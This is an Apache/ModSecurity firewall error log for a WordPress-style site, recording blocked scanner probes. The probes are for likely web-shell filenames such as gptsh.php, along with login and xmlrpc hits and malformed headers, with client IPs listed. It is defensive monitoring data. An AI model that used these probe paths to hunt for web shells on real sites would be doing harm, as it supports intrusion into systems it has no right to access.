[Sun Apr 26 16:14:15.423803 2026] [:error] [pid 8390:tid 8472] [client 193.70.46.38:60710] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ae3JV4GPtFK_i9p5yxQJZQAAAJU"]
[Sun Apr 26 16:14:17.740820 2026] [:error] [pid 8390:tid 8460] [client 193.70.46.38:60714] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ae3JWYGPtFK_i9p5yxQJagAAAIk"]
[Sun Apr 26 16:14:20.232187 2026] [:error] [pid 8390:tid 8456] [client 193.70.46.38:60722] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ae3JXIGPtFK_i9p5yxQJbQAAAIU"]
[Sun Apr 26 16:14:22.558594 2026] [:error] [pid 8383:tid 8421] [client 193.70.46.38:60728] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ae3JXtFa2S3EsATMdWP__gAAABg"]
[Sun Apr 26 16:14:25.031132 2026] [:error] [pid 13137:tid 13148] [client 193.70.46.38:54038] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ae3JYd0RB4J0o4h5neFNHAAAAgg"]
[Sun Apr 26 16:14:27.348103 2026] [:error] [pid 8383:tid 8400] [client 193.70.46.38:54046] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ae3JY9Fa2S3EsATMdWMAAQAAAAM"]
[Sun Apr 26 17:23:34.327923 2026] [:error] [pid 22573:tid 22630] [client 137.184.46.218:42884] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.46.218, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae3ZlnB3EmQlD4yKUt_PxwAAAZc"]
[Sun Apr 26 18:59:47.255630 2026] [:error] [pid 8390:tid 8465] [client 45.82.122.124:53816] [client 45.82.122.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.82.122.124, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae3wI4GPtFK_i9p5yxRDrQAAAI4"]
[Sun Apr 26 19:32:05.690020 2026] [:error] [pid 22573:tid 22623] [client 102.203.137.242:47406] [client 102.203.137.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.203.137.242, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ae33tXB3EmQlD4yKUt_xvQAAAZA"]
[Sun Apr 26 19:33:15.246375 2026] [:error] [pid 16515:tid 16525] [client 182.44.8.254:40293] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ae33-1tDrUmgHSvpuLw7ywAAAkc"]
[Sun Apr 26 20:06:32.815581 2026] [:error] [pid 8383:tid 8402] [client 46.246.39.245:50178] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.246.39.245, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae3_yNFa2S3EsATMdWNL5AAAAAU"]
[Sun Apr 26 23:37:07.168066 2026] [:error] [pid 8491:tid 8520] [client 129.226.174.80:55374] [client 129.226.174.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ae4xIyq7I7e6CJooQM0cqwAAANU"]
[Mon Apr 27 02:54:04.501644 2026] [:error] [pid 8385:tid 8433] [client 117.62.235.53:60892] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ae5fTDOy7_J84Wx3-oz8lAAAAEk"]
[Mon Apr 27 03:17:17.418304 2026] [:error] [pid 13137:tid 13158] [client 43.130.91.95:51552] [client 43.130.91.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ae5kvd0RB4J0o4h5neHl8wAAAhE"]
[Mon Apr 27 06:22:49.175060 2026] [:error] [pid 22645:tid 22658] [client 4.232.184.88:52672] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-243.php"] [unique_id "ae6QOX-Pq2r302zQbMa7OAAAAAM"]
[Mon Apr 27 06:22:52.238194 2026] [:error] [pid 22751:tid 22766] [client 4.232.184.88:38545] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-243.php"] [unique_id "ae6QPCc0tCpVyVdFok_VMQAAAMw"]
[Mon Apr 27 06:22:54.646129 2026] [:error] [pid 22647:tid 22722] [client 4.232.184.88:7087] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-243.php"] [unique_id "ae6QPmjfVULTjnk5SzO1aAAAAIw"]
[Mon Apr 27 06:22:59.288768 2026] [:error] [pid 20603:tid 20608] [client 4.232.184.88:33092] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-243.php"] [unique_id "ae6QQw_k682XZv20MXyKyQAAAQA"]
[Mon Apr 27 06:23:03.967543 2026] [:error] [pid 22647:tid 22716] [client 4.232.184.88:6744] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkyac.php"] [unique_id "ae6QR2jfVULTjnk5SzO1agAAAIY"]
[Mon Apr 27 06:23:06.278912 2026] [:error] [pid 20603:tid 20623] [client 4.232.184.88:33143] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkyac.php"] [unique_id "ae6QSg_k682XZv20MXyK1AAAAQ8"]
[Mon Apr 27 06:23:11.231102 2026] [:error] [pid 22646:tid 22704] [client 4.232.184.88:41101] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkyac.php"] [unique_id "ae6QT4k_HyZhTP6AYaelAQAAAFU"]
[Mon Apr 27 06:23:12.946404 2026] [:error] [pid 20603:tid 20617] [client 4.232.184.88:6150] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkyac.php"] [unique_id "ae6QUA_k682XZv20MXyK3wAAAQk"]
[Mon Apr 27 06:23:14.119635 2026] [:error] [pid 22646:tid 22695] [client 4.232.184.88:35896] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "ae6QUok_HyZhTP6AYaelBgAAAEw"]
[Mon Apr 27 06:23:15.617987 2026] [:error] [pid 22646:tid 22699] [client 4.232.184.88:41091] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "ae6QU4k_HyZhTP6AYaelDQAAAFA"]
[Mon Apr 27 06:23:17.787756 2026] [:error] [pid 22646:tid 22688] [client 4.232.184.88:6184] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "ae6QVYk_HyZhTP6AYaelEgAAAEU"]
[Mon Apr 27 06:23:20.030436 2026] [:error] [pid 22751:tid 22758] [client 4.232.184.88:6752] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "ae6QWCc0tCpVyVdFok_VRQAAAMQ"]
[Mon Apr 27 06:23:22.053178 2026] [:error] [pid 20603:tid 20609] [client 4.232.184.88:35855] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae6QWg_k682XZv20MXyK4wAAAQE"]
[Mon Apr 27 06:23:26.131495 2026] [:error] [pid 22647:tid 22734] [client 4.232.184.88:41598] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae6QXmjfVULTjnk5SzO1ewAAAJg"]
[Mon Apr 27 06:23:28.709878 2026] [:error] [pid 22647:tid 22714] [client 4.232.184.88:41555] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae6QYGjfVULTjnk5SzO1fQAAAIQ"]
[Mon Apr 27 06:23:30.858312 2026] [:error] [pid 20603:tid 20609] [client 4.232.184.88:36999] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae6QYg_k682XZv20MXyK9QAAAQE"]
[Mon Apr 27 06:23:33.392610 2026] [:error] [pid 22751:tid 22765] [client 4.232.184.88:30174] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "ae6QZSc0tCpVyVdFok_VUAAAAMs"]
[Mon Apr 27 06:23:36.320788 2026] [:error] [pid 22751:tid 22758] [client 4.232.184.88:40624] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "ae6QaCc0tCpVyVdFok_VUgAAAMQ"]
[Mon Apr 27 06:23:38.440954 2026] [:error] [pid 22646:tid 22705] [client 4.232.184.88:51233] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "ae6Qaok_HyZhTP6AYaelGAAAAFY"]
[Mon Apr 27 06:23:41.318018 2026] [:error] [pid 22751:tid 22763] [client 4.232.184.88:37782] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "ae6QbSc0tCpVyVdFok_VVQAAAMk"]
[Mon Apr 27 06:24:38.517878 2026] [:error] [pid 20603:tid 20611] [client 4.232.184.88:6358] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "ae6Qpg_k682XZv20MXyLVgAAAQM"]
[Mon Apr 27 06:24:44.677466 2026] [:error] [pid 22647:tid 22730] [client 4.232.184.88:6941] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "ae6QrGjfVULTjnk5SzO1ywAAAJQ"]
[Mon Apr 27 06:24:49.310218 2026] [:error] [pid 20603:tid 20627] [client 4.232.184.88:37396] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "ae6QsQ_k682XZv20MXyLXgAAARM"]
[Mon Apr 27 06:24:50.486617 2026] [:error] [pid 20603:tid 20629] [client 4.232.184.88:34286] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "ae6Qsg_k682XZv20MXyLYAAAARU"]
[Mon Apr 27 06:24:51.643399 2026] [:error] [pid 22645:tid 22656] [client 4.232.184.88:6454] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "ae6Qs3-Pq2r302zQbMa7XAAAAAE"]
[Mon Apr 27 06:24:54.097219 2026] [:error] [pid 22645:tid 22673] [client 4.232.184.88:40117] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "ae6Qtn-Pq2r302zQbMa7XgAAABI"]
[Mon Apr 27 06:24:58.556666 2026] [:error] [pid 20603:tid 20616] [client 4.232.184.88:33869] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "ae6Qug_k682XZv20MXyLdgAAAQg"]
[Mon Apr 27 06:25:06.652175 2026] [:error] [pid 20603:tid 20620] [client 4.232.184.88:57171] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "ae6Qwg_k682XZv20MXyLmwAAAQw"]
[Mon Apr 27 06:25:11.041687 2026] [:error] [pid 20603:tid 20617] [client 4.232.184.88:59036] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae6Qxw_k682XZv20MXyLugAAAQk"]
[Mon Apr 27 06:25:16.113961 2026] [:error] [pid 22647:tid 22718] [client 4.232.184.88:6685] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae6QzGjfVULTjnk5SzO2GAAAAIg"]
[Mon Apr 27 06:25:25.124716 2026] [:error] [pid 22645:tid 22678] [client 4.232.184.88:42927] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae6Q1X-Pq2r302zQbMa7agAAABc"]
[Mon Apr 27 06:25:32.706578 2026] [:error] [pid 22646:tid 22704] [client 4.232.184.88:56290] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bfil.php"] [unique_id "ae6Q3Ik_HyZhTP6AYaelSgAAAFU"]
[Mon Apr 27 06:25:35.272307 2026] [:error] [pid 22751:tid 22767] [client 4.232.184.88:7146] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bfil.php"] [unique_id "ae6Q3yc0tCpVyVdFok_VrgAAAM0"]
[Mon Apr 27 06:26:28.752119 2026] [:error] [pid 22647:tid 22733] [client 4.232.184.88:59009] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ae6RFGjfVULTjnk5SzO2dgAAAJc"]
[Mon Apr 27 06:26:31.252863 2026] [:error] [pid 22751:tid 22772] [client 4.232.184.88:29252] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ae6RFyc0tCpVyVdFok_WOgAAANI"]
[Mon Apr 27 06:26:41.081592 2026] [:error] [pid 20603:tid 20624] [client 4.232.184.88:36941] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ae6RIQ_k682XZv20MXyMSAAAARA"]
[Mon Apr 27 06:26:47.514273 2026] [:error] [pid 22646:tid 22683] [client 4.232.184.88:31046] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "ae6RJ4k_HyZhTP6AYaelkAAAAEA"]
[Mon Apr 27 06:26:51.173025 2026] [:error] [pid 22647:tid 22717] [client 4.232.184.88:42123] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "ae6RK2jfVULTjnk5SzO2iQAAAIc"]
[Mon Apr 27 06:26:54.485452 2026] [:error] [pid 20603:tid 20627] [client 4.232.184.88:57630] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "ae6RLg_k682XZv20MXyMawAAARM"]
[Mon Apr 27 06:26:57.008342 2026] [:error] [pid 22645:tid 22673] [client 4.232.184.88:53389] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "ae6RMX-Pq2r302zQbMa7uQAAABI"]
